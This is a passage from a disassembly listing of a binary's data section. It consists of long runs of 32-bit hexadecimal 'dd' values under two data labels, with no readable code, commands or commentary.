0FDF80ED2h, 3A82D1F4h, 94D18B15h, 99ED5FD5h dd 667EA08Bh, 0B7EFD94h, 0E55F5AB9h, 0A06A132Bh, 6809BE30h dd 0D5425159h, 0A69455A0h, 117BDAEh, 8AF35EF2h, 2DF98816h dd 874CEC88h, 25FA015Ah, 5B8C9360h, 0F8ECABE7h, 0CB0435D2h dd 0B8FC658Eh, 707E8B9Fh, 71593446h, 91257D19h, 80E77118h dd 6D81F05h, 4B729358h, 0C1C5E912h, 0F46FAC29h, 6416163Bh dd 42126731h, 722B2EF1h, 5055E6D4h, 0CAF20225h, 319D7B10h dd 0DE9F86DDh, 85E918F3h, 0B252BD02h, 494438C5h, 2CD451A9h dd 9ABE7C04h, 2831ECF5h, 0A62BFE31h, 0FE0F5180h, 17F767CFh dd 88D1C7E1h, 0A03E5BE5h, 829F5C11h, 0D7C568BAh, 2A4E8AE9h dd 58C717D1h, 2912A036h, 0F93B0CF7h, 72975CC8h, 7114D2B5h dd 2FAEFD19h, 0E34E1B73h, 584D130Bh, 4A6BC01h, 2F5D316Fh dd 0CB4748C9h, 0CAABF66Eh, 0EADF5037h, 360C6BDh, 515097B3h dd 0CC90D988h, 428AE4E9h, 5AF8FE04h, 0D888E4D1h, 0CA5D143Ch dd 0F206505h, 58A8C225h, 0B6C2335Ch, 0CEF720E1h, 295B9210h dd 7CD12CC7h, 42857B0Fh, 13C95BC6h, 0E8BDA0D2h, 0BF9D8DBDh dd 57D99A6Eh, 0FEE908B2h, 85402DB6h, 547DF650h, 8758013Eh dd 0DAF480C4h, 0F8E9E100h dd 0EB14BDF0h, 0CDB98980h, 72946716h, 572E00EEh, 5D1A21BFh dd 8C87D5Fh, 0C2AC13B4h, 0BB13AA85h, 0E16E16FEh, 4497A64h dd 0B5B450CCh, 0E970F856h, 74E15D1Eh, 9F6D8500h, 0A57EBD5Ch dd 4D21DC35h, 44A09D09h, 2A499FD9h, 6F4FD818h, 0C046D9B7h dd 1F823C9h, 959B8395h, 0EB213B32h, 370903A7h, 121E1CFDh dd 0EEC2B551h, 0E0E5AB0Ah, 0E9B9F40Bh, 0DB69CB7Eh, 1259C12Ch dd 7C5C9064h, 61B84349h, 68081CD0h, 0C241141Ch, 41F29568h dd 6603AF20h, 0E47FEDE0h, 0EF7D21EAh, 0EA072E4Fh, 69F23BBDh dd 7B6ADF2Bh, 26FF007Fh, 0A02D9434h, 257814C2h, 0E250EE65h dd 89144597h, 4DB0763Ah, 4A00738Fh, 8B355847h, 0BD7D7271h dd 0E9607C79h, 93AF348h, 0A0434205h, 92B880D7h, 21B8621h dd 74AFCE81h, 23FF76D1h, 0B863EEC2h, 7297341h, 813E9F0h dd 3E750B01h, 62681578h, 0E9095213h, 8C544A54h, 60A6F55Ah dd 5CC55EE9h, 0F8C2A32Ch, 8C9A5F67h, 23D9DD41h, 66E24E3Dh dd 3CC8BFE5h, 2085B85Ah, 591F6BD7h, 0CC9EE30h, 0A051DA36h dd 9938ADD1h, 0FE4898h, 1999578Ch, 6839D129h, 138E4D76h dd 0ECBD65D4h, 26EB81C3h, 0E9F13EC3h, 7ECF2C9Ch, 0EEDA044Fh dd 0D3BCE90Ch, 5C3C68F1h, 0FC169371h, 27D213ADh, 46A44974h dd 4E2FBD02h, 0E9A071FBh, 2B6835CDh, 68A015E9h, 0D1B561CEh dd 91EBC01Ch, 0A4A04648h, 1D9E4183h, 9F3294BBh, 55BCB494h dd 8EB4C4h, 3E0BBD55h, 9B8E627h, 2CEDD8B6h, 0FDCE8B75h dd 8093D807h, 7DE932A9h, 0BBA2940h, 75317BEh, 426707DFh dd 3CF0C8E5h, 1C799758h, 2CF6CC49h, 9699EC97h, 3637BB8Fh dd 94FC66D5h, 13C7B41Ch, 1B4504E2h, 0D832AFEBh, 6BD54250h dd 0D114F983h, 7E7DB36Eh, 0B2175Dh, 390238BFh, 1515236h dd 58674468h, 7A41592Ah, 2687EBA1h, 0A066EE28h, 0DFB05053h dd 0F4A83425h, 5A801F6Bh, 0FC106B6h, 0D7C6E1FEh, 0E912067Bh dd 0E5E2FA5Eh, 0E932084h, 0AF30205h, 12406031h, 29CB0F42h dd 0A81CC101h, 61849108h, 3F384A89h, 510045CAh, 0ABB85056h dd 6114624Fh, 278EC689h, 4A868D7Dh, 0E9422C2Fh, 13E4AF4Dh dd 940E5F5Ah, 0ACA2778Bh, 7CCC68C2h, 912C1CFFh, 500A036Bh dd 56207807h, 695ABDC2h, 0E239F509h, 36518003h, 0F8333234h dd 0F0060BF6h, 8B7DB149h, 4A145F80h, 33296819h, 0D03A38ABh dd 7E5FF1D7h, 58FD5C25h, 8679B7BDh, 2CE95460h, 0FF014F06h dd 5A5CBE68h, 2ED0A674h, 1906A55h, 6107ED48h, 0C4E0FAC5h dd 4073A8B0h, 887E9EF2h, 7D015A48h, 3805D64Fh, 4882CAFEh dd 5B6602BBh, 0EE15A2F5h, 7AFB5D6Bh, 5D3A8E8Bh, 0C25329Ch dd 53D376E8h, 82E53BE1h, 57BFBD22h, 0EDAA805Ah, 606C3E88h dd 0F420C36h, 4800CCDh, 7A32055Bh, 9291C0E9h, 1961D4B0h dd 0C52B6C5Ah, 0CBF2317Dh, 25208B48h, 8DEB8016h, 0D20232B1h dd 5CDEF20Ch, 5C0D965Bh, 6C9C6Bh, 14CC0FF8h, 167AE90Bh dd 895D5B01h, 8F5C0D59h, 0B48A488h, 0E1025E54h, 5D021B22h dd 9B07029h, 0C2E63E3h, 2F41C4F5h, 0A766BF3Ch, 565D3569h dd 0DC94089Ah, 0C1E8D101h, 0E32008E0h, 521095B8h, 9F9EBB12h dd 0CFBAF6C1h, 4B6CE96Bh, 20E42DBAh, 3FBCE1C4h, 68606780h dd 9D434B79h, 591EF464h, 4C132634h, 0FEFCD4EBh, 0FA29E146h dd 0A9D35F7Eh, 2DAAD69Bh, 0C7E36E6Dh, 9CEB510h, 2F96685Ah dd 90416BE6h, 1224EE78h, 0E82101B3h, 523E503Ah, 5F9EB294h dd 0E4D6600Bh, 219198E4h, 606948BBh, 2505CA77h, 3EC846C1h dd 650512B9h, 0BAEE913h, 2FBBEA00h, 0BD308F3Ch, 64C6F9A0h dd 1C4FB071h, 84189ADh, 0BBC6303Ah, 0ED0417EFh, 22076839h dd 0DE2539E3h, 0E05E92E2h, 4B98B965h, 112A2F74h, 4860FBC2h dd 17F00CDEh, 0F340A190h, 0FD2B4B68h, 17638469h, 0B505B3E9h dd 810BC974h, 0A54A0847h, 5ACF6002h, 0A0F8A630h, 0C914F2B1h dd 6681B88Eh, 2D050C29h, 512D0779h, 924FFA50h, 4A048482h dd 0F04D74D4h, 636BB3E9h, 0E3A9FD18h, 14D78C2Ah, 9D19B041h dd 47AD202Dh, 854911A1h, 503DF011h, 0B0C653C9h, 0E4342CE3h dd 92E92E29h, 2B222DE9h, 3FC25755h, 0DB2F055Ch, 3092BE88h dd 834337DFh, 0BBF41D2Ah, 520DAD8Eh, 411EAA68h, 22E4F83Bh dd 0F79D28E0h, 1A9EBB80h, 0F062BF9Ch, 52960931h, 894AA5FCh dd 0BAC48DA3h, 61EF1616h, 30CC8824h, 0E3B23210h, 0CAB4B980h dd 25811794h, 5E700C14h, 0E1050020h, 271A8B2Bh, 804622F7h dd 0C56C68A1h, 5A66009Eh, 0E828632Ch, 3C62BE68h, 90DD24A9h dd 8257796Ah, 5B6531D7h, 8418E63Ah, 3F374CE1h, 518CB14h dd 0B1EB2D6Ch, 61D97125h, 56032E6Ah, 818CCEB1h, 839B80Ch dd 65357A27h, 885F8843h, 322172AEh, 61859C8h, 26581041h dd 8D5B18A6h, 139EB210h, 0ABAAB551h, 9096485Fh, 0B28F024Ah dd 56E060CEh, 636B58BEh, 0B77386D2h, 5E92C913h, 8A9841FDh dd 33032EA2h, 0F741492Dh, 1F839CD1h, 0EA174EA6h, 0DF2CDD2Dh dd 16E3AAF5h, 4AF1FD4Bh, 7172D190h, 0E239482Eh, 6907B104h dd 7FDCC06Dh, 2D4F3E21h, 0CA98DBF2h, 652D3B74h, 9C1D84Ch dd 14127AA6h, 0C2C2E057h, 574D2761h, 71D3D640h, 754A302Dh dd 34086C08h, 0CD14130Ch, 61E30D2h, 1FD27ABFh, 544A7C2h dd 0A8D53118h, 0FFA38ABCh, 7A259968h, 25B491A3h, 2BB4BBD2h dd 0D8ABDDA7h, 0D9BD88D0h, 31E961EAh, 2E272ACFh, 0EF620E8Dh dd 11E11A9Ch, 0E25699C2h, 8BF7452Fh, 0BAFC5C5Fh, 0AD3A54CDh dd 0DCDDE5D1h, 0CEBED915h, 70AA14B5h, 4509DE83h, 69FDDC3Ch dd 21F4B50Bh, 0E206DE2Dh, 8004CB3Ah, 0B76AF3E1h, 0BC502CF0h dd 6329CF16h, 1522A36Ah, 8B67535Eh, 0E3E00F56h, 0EF2FB928h dd 0EF6A51F1h, 80EBEB42h, 3A30F3E8h, 0D48619Fh, 3A49B570h dd 612F2AB8h, 0E3EB2EA0h, 537BCC05h, 0A04E8F20h, 1F7CE637h dd 16547D4Bh, 0F9ACC544h, 0C82E59Eh, 936F7678h, 0EEA18596h dd 0EE4EF58Bh, 0B8E9A828h, 0F295C0E9h, 867EE4E3h, 0F1E1E3BFh dd 0F376BAEAh, 419AAA7Ah, 162BB6A3h, 36CBBE54h, 62571E13h dd 0B5D9681h, 92E55FDFh, 2D6A6C6Bh, 679AB5Bh, 427F2D3Ch dd 0EE5FF22h, 2CC8840Ch, 6FE43EBAh, 37BB4000h, 296E77E6h dd 0DC2DD6C0h, 0BA4EAE76h, 0FFC381FBh, 3A71D7C6h, 9A874809h dd 0D009405Bh, 1C0D4820h, 0FD7FD370h, 60FD4568h, 4E9EBC8Bh dd 1E41074Dh, 6DC948ECh, 0E921E34Eh, 46800289h, 2A6B204Eh dd 0A2B85003h, 0DA0CA05Eh, 1F87411h, 1915BEBDh, 2EA42A44h dd 9892E31Bh, 491E0456h, 80580136h, 0EFCCFBF7h, 810CCFE7h dd 93F66EE5h, 0A41ACB6Dh, 5F6E5658h, 0BC441F8Bh, 1D10D5Fh dd 97228AD5h, 17DF939Fh, 50A2A004h, 0C41B00Fh, 56F45A7h dd 7568D130h, 806EAA64h, 930627A2h, 0FAE9372Fh, 31FA01Dh dd 84D24BC7h, 76019CB8h, 5588E2Ah, 708BFD14h, 77B20E74h dd 8E11DBBFh, 61300111h, 723561FEh, 80C24560h, 0F74F8746h dd 74B28587h, 46AE718Ah, 3B544D3h, 3EA5BA54h, 0A397CBB3h dd 1227BEFBh, 0BBB125F4h, 0B1F7C22Eh, 58DE2D20h, 5012734h dd 48B763FAh, 83CA6668h, 0AB71D66Ch, 7E260176h, 57C1012Fh dd 0E80855BFh, 0B11C8AD9h, 6F188EA5h, 0DF6244FEh, 5E6D8817h dd 89E735F6h, 0F620A317h, 660973F7h, 81F56665h, 6931EF58h dd 0F03B58D1h, 9A4EE915h, 0C79713F2h, 4B8EE274h, 0F5CB7FE8h dd 0C71FF3E6h, 774AD988h dd 0F702703Ah, 0C00A276Fh, 97B4BBAh, 0D1213765h, 0C04E6759h dd 4E7439E1h, 280B9041h, 95B5A003h, 0F442198Bh, 0B009097Fh dd 90F9F6F9h, 89C65E4Fh, 463B608Fh, 0BD4D3740h, 0C19D9551h dd 4810394h, 0FB2B1D90h, 0E3AF9994h, 1A0B16F0h, 263A79FBh dd 5D764D34h, 9AAD1981h, 0AA93E831h, 2CCAB04h, 0E5D02E71h dd 0F58603A1h, 817D6F6h, 0ABED80h, 0E9274B6Fh, 3992B198h dd 41DF7FA2h, 47E5A2Fh, 0FFE8E75Ah, 4E9F8AF2h, 0AF16C519h dd 0E9162CDBh, 225DBFAEh, 2C183982h, 0C0456240h, 0BD05A7F5h dd 80B81CAh, 515D1B00h, 9DA017F0h, 89E32540h, 564ED0Ch dd 0FAF8EE35h, 0CB4EB676h, 7808CB71h, 132426C7h, 0EE2A847Ch dd 0B7F6922Ch, 0B0DFEA29h, 0B0F021FAh, 296460E5h, 6C5639F5h dd 434D1F7Bh, 18483BD6h, 6868CEDDh, 0D9225E41h, 0B18944DEh dd 4CF62BCh, 0CC32A3Fh, 0A9CBBEh, 61731779h, 16F2295Eh dd 0F3EBEFE9h, 182479F8h, 0D781B09Bh, 5F7B3F5Eh, 13205C20h dd 9694676h, 7A0578D6h, 6E16AF4Dh, 40BA4FE0h, 48EEF70Dh dd 4A862D0Bh, 898D570Fh, 3F61E404h, 428D2E2Dh, 0BF9D513h dd 0F42D7D6Eh, 0F0C2F004h, 1260EE88h, 0E044B22Bh, 6D4A5872h dd 0CB4843F6h, 41771C40h, 0C57030CCh, 797009Ah, 4AF45530h dd 0B0D12AB0h, 60F10260h, 9EE4EC5h, 0E8012458h, 0EFFD3503h dd 2C200BBEh, 2D6716F3h, 239D0032h, 0E91AB569h, 9194092Ch dd 6935B069h, 0CDED9FDDh, 29EE0113h, 4DF0A08h, 260B8ABEh dd 2A0804ABh, 0B880185Dh, 7BA9172Fh, 6B79F601h, 0D2C6D64Bh dd 60C10612h, 0E16F947Dh, 0E0FD1A93h, 0B03CD910h, 0B115E232h dd 0A5E9433Dh, 12E2E44Bh, 0CC418368h, 404076B4h, 4B5D5C52h dd 7225B707h, 0BA7BD447h, 61BE6812h, 8E221847h, 0C499C699h dd 9F8032CCh, 91FEC42h, 0AC57E94Ah, 3726C4DAh, 4F40F7CFh dd 5A72455Eh, 28EB809h, 9F4A13CEh, 0B40E173h, 0EFA0E393h dd 39C92C40h, 0C0570930h, 2CDC80D2h, 0CA5C89DEh, 1B031005h dd 257F5E2Ch, 877D9D8h, 0C104C30h, 0CBA9478Eh, 61C27990h dd 0FD68DE39h, 0F504780Ch, 3B0F7FACh, 26FEBE8Bh, 71FE0B7Fh dd 0FB01F923h, 0BA3CE49Fh, 5341F199h, 4502C194h, 667E1660h dd 314C37EAh, 51571D53h, 9913750Bh, 0F43A4F4Bh, 222CA9ACh dd 0FA17958Eh, 117FE04h, 0DB58CA09h, 1AF8C2F8h, 0C2167EB7h dd 985F292Eh, 93BA87DCh, 44F6ADD9h, 0FCE9C5E1h, 0E9AD3Eh dd 0D444DEBh, 9D66A468h, 7FE6ED98h, 5C982BF8h, 63CC5B5Ch dd 3D14CA84h, 670BEF3Dh, 66D548F7h, 0D0E9126Fh, 4B75F48Fh dd 5D5401E7h, 6893283Fh, 0FC77462Dh, 0FA405A99h, 7D095636h dd 3B3FE957h, 26FF10CFh, 8AB300BBh, 6605E3C0h, 0D8880150h dd 0ABE9D0F6h, 406AB6h, 530E681h, 5640049Dh, 0FB5F5E57h dd 0F33BB2C9h, 0ECA05BA8h, 68500351h, 47582DC0h, 3130D90h dd 1046EE2Dh, 2D035A5h, 0E9BC04C0h, 1AD1AC9Dh, 562CACDh dd 68564D02h, 7A900637h, 0D2013A94h, 317BE25h, 0C12ADC44h dd 18095DFh, 0A2F67A68h, 1044C8AEh, 88CBEB46h, 2828B88h dd 0D512D349h, 64D27C33h, 0D13ECE58h, 0B33578EBh, 44FE4322h dd 0B90B602h, 1393C95Ch, 9ED25A0h, 0C472E2F3h, 0D90BC0D4h dd 7794FDFFh, 0E14F4198h, 3364B986h, 8026EC3Ch, 6246AA3h dd 0D5173CB0h, 81B466BBh, 0DEFA4025h, 54B34165h, 0BFE63E08h dd 2588FE28h, 5DE6B007h, 1C511AC9h, 0C9D28DFh, 0EAD101F5h dd 11BFE281h, 4301603Ch, 461005F5h, 209C90E4h, 0C4800369h dd 6E4C001h, 30E9F4B3h, 94012AE6h, 5AF18803h, 0D454F16Bh dd 0C97DFE5Bh, 0C80FC126h, 22187908h, 5B3A26C7h, 467F42BCh dd 9C5F5418h, 0A0DF3FE3h, 802AE972h, 0FDF9ABC6h, 7E70E45Bh dd 68BCB895h, 0D5CBD67h, 2997F52h, 3E8C895Bh, 0EF64D7F6h dd 9DCA0329h, 563D12BCh, 3D876EA4h, 0C11242F2h, 0C8F28303h dd 581DC795h, 20AF8A1Fh, 6A745D62h, 2066B924h, 3C3BB008h dd 77048F0h, 256C592Dh, 40B15A41h, 2C53260Dh, 0D3BC0550h dd 47B97102h, 0D75EF009h, 1F2DCDE0h, 0DB98FE1Dh, 64ECC042h dd 28E27DF2h, 0E4908702h, 4EC07F5Ah, 242B5D9Fh, 0B3EE0005h dd 0EB811F63h, 0C2F1196h, 81EED208h, 0F37E5808h, 0C6E94EA7h dd 0C0F48FF2h, 0D5BAC212h, 4B78E371h, 0A80414FCh, 0C1353968h dd 6F9C2FEBh, 9D909FE2h, 8D7EC345h, 80856045h, 624DCC4Fh dd 5DBF6926h, 0E2A5CD12h, 3EB20597h, 8209074Bh, 0C9F6AE6Ch dd 418C5C51h, 6E283FB3h, 0D043BEC7h, 9B5AC304h, 0E9C8809Eh dd 22D5CF3h, 4B66E8D2h, 7811A6A6h, 3AC53192h, 0C1DAA353h dd 92713C56h, 92C435D4h, 47F539E7h, 0BA5DE597h, 201F6B40h dd 76659ECh, 285FB252h, 0E15A67D4h, 0F88612E4h, 8D6D5F6h dd 2883811h, 0AC4F2105h, 17FAF45Eh, 0FE69810Dh, 802E9DC5h dd 0E8286403h, 0DD398759h, 0D44B94ECh, 0BC2335FAh, 52E34AEFh dd 51A6E85Bh, 853F6020h, 0EB3D693Fh, 0A8587EF8h, 726013C0h dd 2A02BEDEh, 80A940C8h, 0E676F383h, 7D555964h, 0B9514661h dd 0DEE3E55Eh, 60FB8440h, 206B8E3Fh, 590881CAh, 7BC5E12Eh dd 0D5663362h, 66D76C4Ah, 0D2BFDFAEh, 0C7F7F438h, 6A61050Bh dd 86B99175h, 0BAE9187Ah, 9033B4Ch, 0ADEE8156h, 57289A25h dd 80AF8CAh, 0E8BF0829h, 58DB5C2Dh, 92B59FB1h, 26154043h dd 0C37FC00Eh, 3718C40Ah, 53D9292Dh, 0E2BC264Eh, 0E5DD78F5h dd 13D709E1h, 68E18E76h, 0E9006DE5h, 15C4EEB5h, 57493EF2h dd 0D39D99D8h, 0CE9E37Eh, 0C7583F00h, 851B3042h, 5B8E7D37h dd 0E28F90E6h, 0D33D1451h, 0A71C9313h, 0F29734A2h, 61FB935Ch dd 3A18A97Ch, 59A41843h, 0C5400E30h, 19A21E29h, 0D56867E9h dd 0A12A8BFh, 9EB2C8Fh, 73735ACFh, 6680BF8Bh, 0B1E4A1Ah dd 0D8FEF7D8h, 6AB2CB80h, 2C08062Dh, 24CE0EC2h, 0E7254974h dd 9B9EFE5Dh, 0FFF95666h, 9428EB04h, 84EAC2C9h, 85FBA6h dd 4E398EBBh, 779485B7h, 68101400h, 0E9D1415Dh, 0E19620B7h dd 60501D05h, 60B23E2Ah, 5C952277h, 0C026C954h, 2C5021EBh dd 4C03A9A7h, 58E9461Dh, 54963BF8h, 0A73A0516h, 72682723h dd 0D1E92529h, 5925A8D4h, 0A01AC215h, 4266F95Ch, 0B4B3A01Dh dd 77572D5Eh, 0A9C8476h, 573C1F0Bh, 0F368DC01h, 67CD6A46h dd 0AA87B805h, 8FD1F625h, 337F7468h, 0BFC5FFE9h, 0C84B7E8Eh dd 407D47F1h, 90097773h, 75168942h, 68185C94h, 7FC34DEDh dd 7A3081ECh dword_4F0044 dd 39891EE9h, 0D35588C2h, 0F792D12h, 8CE47769h, 13B27D4Dh ; DATA XREF: ___:00437A2Co dd 0CAAE015Ah, 59957BC8h, 36576B03h, 9BE912CBh, 0E332FADEh dd 5F3A4934h, 7FC08A2Ah, 2616E75Fh, 0FE4B13BAh, 0ED815900h dd 4DA3A05Ch, 0A348CEB9h, 5F6FC803h, 10CC010Bh, 0C71C6808h dd 5D21853Eh, 0D6D794E9h, 270B8F56h, 21F602B8h, 0A34C9D7Ch dd 66496B69h, 41F7F6F7h, 75B74098h, 43259713h, 0AC09E85Bh dd 9D02222h, 0C598A192h, 0C6E41720h, 0FD79BAAAh, 0A4A0A0B0h dd 0B627297Dh, 2DBF5E7Ch, 0E9168AEEh, 0B4F30198h, 3BE0FBCBh dd 425CB168h, 567AD931h, 0EFB4B869h, 4E8CCEh, 0A252D853h dd 0F6288171h, 0EB0906DCh, 9BC173Dh, 20BBF61Ch, 6F829708h dd 41AFD896h, 70504409h, 5B75C48h, 2D135953h, 8AD9DBF5h dd 5CC1322Ch, 882D7E68h, 3D21F7D9h, 0D0B476CFh, 2373EC01h dd 5015E974h, 87B75C2h, 37005C97h, 0E9BAB353h, 0EB809727h dd 8A347705h, 0D0285477h, 5A4F072Dh, 0BE68DD6Dh, 745E633Ah dd 51CAEE39h, 0E91C5C3Dh, 0F2011797h, 0B3BD260Ch, 55B625ADh dd 0B49758DCh, 24051367h, 3A93EBF4h, 499080BBh, 271BB25Eh dd 8B49EEE9h, 711770C3h, 2699114Ch, 24CF34F2h, 64BBCEA2h dd 0C5A410F9h, 2B277E07h, 4D79464h, 7132212h, 98CCAF6h dd 9058EC57h, 0D0655E2Bh, 5CAE139Bh, 63FC4D7Bh, 6052D3A9h dd 7025899Ch, 0B98F8EDh, 113CC066h, 54CF027Fh, 88CEC8CDh dd 2D5979CFh, 0D9ECCC72h, 0F34C9FF4h, 1213954Dh, 88BEC98Eh dd 564F861Bh, 0B81BB8B3h, 8884835Bh, 0BC418EDDh, 0A93E9165h dd 0FDC1E3C8h, 1E63D0AEh, 0F2B72694h, 6076901h, 7B29C702h dd 0CA898BD1h, 2794F7DCh, 40817CFBh, 190047B2h, 0CA8168D3h dd 0FD9F1B3Ch, 650F4268h, 0F280278Fh, 5E7AF35Ch, 8324FCB7h dd 37FC0F5Bh, 5DB3CBF8h, 4341A01Fh, 45AEDC67h, 5A0CACEDh dd 68C33FB2h, 8D171EDDh, 77BFEE69h, 7D11B26Dh, 0B502A0E4h dd 55ED883Bh, 0F984F558h, 0C164B81Ch, 7E536CC4h, 7BFF806Ah dd 43501070h, 3180F6D2h, 0DCD7EFEBh, 44FFF4D4h, 3AA8DE8h dd 0DFB4C780h, 8FB6822Bh, 0A42D0046h, 7A4CB363h, 7D581675h dd 0BAD7E9A2h, 0A27CC48Dh, 5079BE4Bh, 0E583DC2Ah, 4F5BEF40h dd 732CE852h, 54BFB526h, 0EB27F018h, 0F47AE480h, 98849550h dd 4A188B95h, 98B08635h, 0C3414AE9h, 6EB24971h, 71CD0957h dd 0EB878C62h, 0BB50470Bh, 0C1DF5698h, 1CA630B8h, 0E6F9F766h dd 6CB32F68h, 2BE61DFCh, 66FCB739h, 500A5E72h, 0BF156657h dd 10365486h, 2047175Bh, 1945BA5Eh, 13E736C7h, 50B74Fh dd 1BD961C3h, 122DCF81h, 0BD1A0546h, 0B5E057Bh, 0B0AF07A2h dd 1512ECFCh, 87AB09EBh, 2A11A6Fh, 87D4A3C1h, 1EBCD8FCh dd 1A477779h, 0CE1B0CE9h, 685125ADh, 3E8887FBh, 307E271Bh dd 0A1726B0Bh, 526AC430h, 2A427DDAh, 7C243E76h, 0CD219827h dd 0E9DF82D2h, 0B5406522h, 9DB25253h, 5726BC78h, 14288988h dd 0EC383A76h, 5BFC0559h, 83AAE128h, 2C1EC9A9h, 0C897BEE9h dd 31777C15h, 38BA4A5Ch, 0C1FB846Eh, 3ECDFA03h, 0D0B74232h dd 4D82B5C6h, 0F220F834h, 481167C7h, 334DDC5Eh, 7963815Bh dd 58E73BC6h, 0EC8A6813h, 53E9C3C7h, 0A7BA84A6h, 0B1E740A7h dd 0DEE9F838h, 0A5BBE300h, 0E321C566h, 8481A47Eh, 0DF3E9F14h dd 2E027FA4h, 0FEE91F41h, 728654C5h, 0BA19F174h, 62A5F98h dd 0CDDFCDFDh, 0A40B6BF0h, 0C0899204h, 18FBC6E4h, 0C755142h dd 113EF656h, 480C74DAh, 7A555F38h, 0D70A1777h, 50DDBC21h dd 5317FE18h, 0A1EC4833h, 8E0D2Dh, 35298380h, 3F6562Eh dd 5955059Dh, 0F779FAECh, 0A83A3A75h, 595CE2EBh, 0F068046Fh dd 0B0A6F856h, 97E881E9h, 0BE38859h, 0ED1D02ABh, 6CA9BB2Ch dd 6BC97C40h, 0D87C562Dh, 844E571h, 0D663AF81h, 26A3AB05h dd 0FE26564Ch, 0B125BB53h, 0E3800D01h, 0FB806A8Bh, 2D281CF3h dd 4A735BD8h, 0F1E18649h, 44E704F7h, 0BE48552Dh, 0C00FA542h dd 0B9394022h, 0BD719CAFh, 237B7981h, 0F451DEF7h, 4F05703Ch dd 0DFD4E963h, 0B9E756D3h, 5B82D599h, 6B3D1DF7h, 786E572Bh dd 35E9F683h, 0FF9544BEh, 0FA317AC3h, 1D86815Ah, 0E9C4EC68h dd 0F3BE6BF1h, 0E1FEB616h, 591302B2h, 0AE09FD89h, 0F976316Fh dd 98590874h, 45470B4Bh, 8C0A5F68h, 7374A558h, 9D5B5450h dd 160A4EECh, 0B037330h, 8D6C6249h, 0CE7A0B67h, 3B1B3194h dd 2393F301h, 0F02CF450h, 396A5A18h, 120D3028h, 14E5FDEh dd 48681B6Eh, 186B6599h, 0CF4446DCh, 0A69002C6h, 0F0316E87h dd 0A2683FB8h, 0D3D05258h, 0B84F7F0h, 0D9E90F6Dh, 0E856BF42h dd 86528F4Eh, 78BDCC9Ah, 0A7260FC1h, 64854107h, 3900F920h dd 0A7CB0E7h, 0F4F874C7h, 251A9831h, 0B1E56025h, 5ECBE00h dd 25E90A0Dh, 65E90E7Fh, 0F07ECDF5h, 0F8FB015Dh, 0C7BF3CADh dd 8BAA8901h, 0E480AD44h, 4B13354Ch, 1402BA49h, 4129BB1Bh dd 0DFC64220h, 0EA0563D8h, 2FEEB2F7h, 0E91F88AFh, 5E13024Ah dd 16BFDEEEh, 94824AE9h, 0EFCC775Fh, 87BED9Fh, 5C12B771h dd 27F7CE08h, 9D61FC68h, 5835C37Ch, 18C056B7h, 7FE7782Dh dd 5F01FA1Ch, 9858B454h, 83EAA92h, 757097C5h, 84029793h dd 0EA4A6FF7h, 6583EE35h, 0D3174C9h, 19F770BBh, 39A88A0Ch dd 3502CB76h, 5D5D5B6Ch, 2B86288h, 0A2E441A9h, 0D20A8E75h dd 74096BE8h, 935834EBh, 350248B5h, 0C661C096h, 651C01D9h dd 5F01D098h, 0E999FAA9h, 0A33C0992h, 937EED92h, 9B3DB4A6h dd 0D2123CCFh, 2B9EC9BAh, 4907F253h, 2855B8F4h, 9510EEBCh dd 0F85F27D1h, 8899BC0Bh, 0E905729Fh, 0A262DE59h, 30F91B2Ch dd 0C577804Bh, 313E64A5h, 64CD5829h, 0B6433A2Fh, 7BB674A9h dd 3A7473E3h, 0BFF8F352h, 827FE382h, 25FE5604h, 0E19D8260h dd 300E5C06h, 0F76BA796h, 4A262576h, 0C70700ABh, 0C07DD03Ch dd 80FB204h, 9EBB928Bh, 28BE4EDEh, 0F35C31BBh, 5ABE8989h dd 79EE7A7Bh, 160A5F51h, 3C92EB17h, 0D06E8206h, 36A585Ah dd 53486635h, 0ECAAE93Dh, 24CBE657h, 504A2270h, 7E4A6855h dd 0A0D0B2E8h, 81729024h, 17764B8h, 7D17E816h, 8C0BD99Bh dd 85A8FB41h, 57211768h, 0CC89BE13h, 36C042Ah, 5FEC1226h dd 88BC12Dh, 8668175h, 51395A5Fh, 6825D8CCh, 561E1B4Eh dd 0E8758489h, 0C95AA5BCh, 9368AC7Dh, 0CC9D3BDDh, 4F5FF426h dd 9F6332BDh, 295AEF50h, 3F063FECh, 0C359459h, 0BB205404h dd 0B1AE5F42h, 3C915CFBh, 0CD0E06A2h, 3F8DA137h, 905262Ch dd 0B30A7642h, 0D82289F5h, 30E660EFh, 212DC8B8h, 0D5852E50h dd 0F29E4A96h, 0DF119A4Bh, 7025B760h, 0C1947B60h, 0D02E0h dd 62836AE6h, 0B4BECE2Dh, 1121D0A0h, 98665BFh, 71516AC0h dd 5F942D3Ch, 0A32DAB10h, 2CEB3C18h, 31303568h, 0F8D40B33h dd 45389234h, 0B1012EAh, 0C755FB9Bh, 0A768051Dh, 0AC28BA5Bh dd 91292BEh, 0A85AE5BFh, 82F8BC04h, 0F490C2F9h, 8C56C8E9h dd 0BF49605Dh, 4C082975h, 8304866Dh, 0A0638F6Ah, 0E9124626h dd 3DBB36B4h, 1A12F1Eh, 0E935E03Eh, 972A68FEh, 8C328B4Eh dd 5D5BB9C3h, 9C890759h, 55733010h, 0D6F780C8h, 4B6A54BFh dd 0C609A0F5h, 5FE09C2Dh, 0B361C0EDh, 1217611Eh, 0F0B1F6E9h dd 0C46EA26Eh, 9CFBC330h, 0B45B1F00h, 1167FF6h, 0D2ECD6h dd 68A13A77h, 0C54AB6E9h, 0CC64DBBBh, 0CDFD501Ch, 0DD753AF3h dd 9B4BA321h, 1AD7412Eh dword_4F0844 dd 6FC328D9h, 20BC3AC4h, 25723C58h, 0F2D6A74Bh, 1C02CC26h dd 7847126Ch, 0E95E0BDAh, 347F3376h, 49C09FE0h, 0B4B3BBh dd 0CC268C1h, 0C3CDBA68h, 0F3AD6E8Fh, 47CB2A7Ah, 0B7530598h dd 0ABF930D6h, 0B22C5D61h, 27E9EEC8h, 4548A2ECh, 0CB0760CDh dd 0FFC78376h, 579879E2h, 11E40F6Eh, 0B34500BCh, 0B0BCEAFh dd 0F5F9874Fh, 0F2800DE8h, 0EA0CB573h, 1AD02815h, 54399536h dd 29D94C52h, 0F5A38BB7h, 0E9055FC5h, 29AAF65Bh, 69CA6E78h dd 7FD2F05Bh, 0F77B0AC2h, 0D2645DD5h, 0A509CB70h, 0DE2FE909h dd 85F680C9h, 560DE18Ch, 73F8E09Fh, 4DA8251Fh, 60C2E474h dd 68A7F503h, 0B53882CAh, 0FA88BC7Ch, 9D7E2DBEh, 0CC9EDDA7h dd 0D4CDB22Fh, 7E7DEFA1h, 0C6006A4Dh, 50DA206h, 5D00F93Eh dd 36EB81F2h, 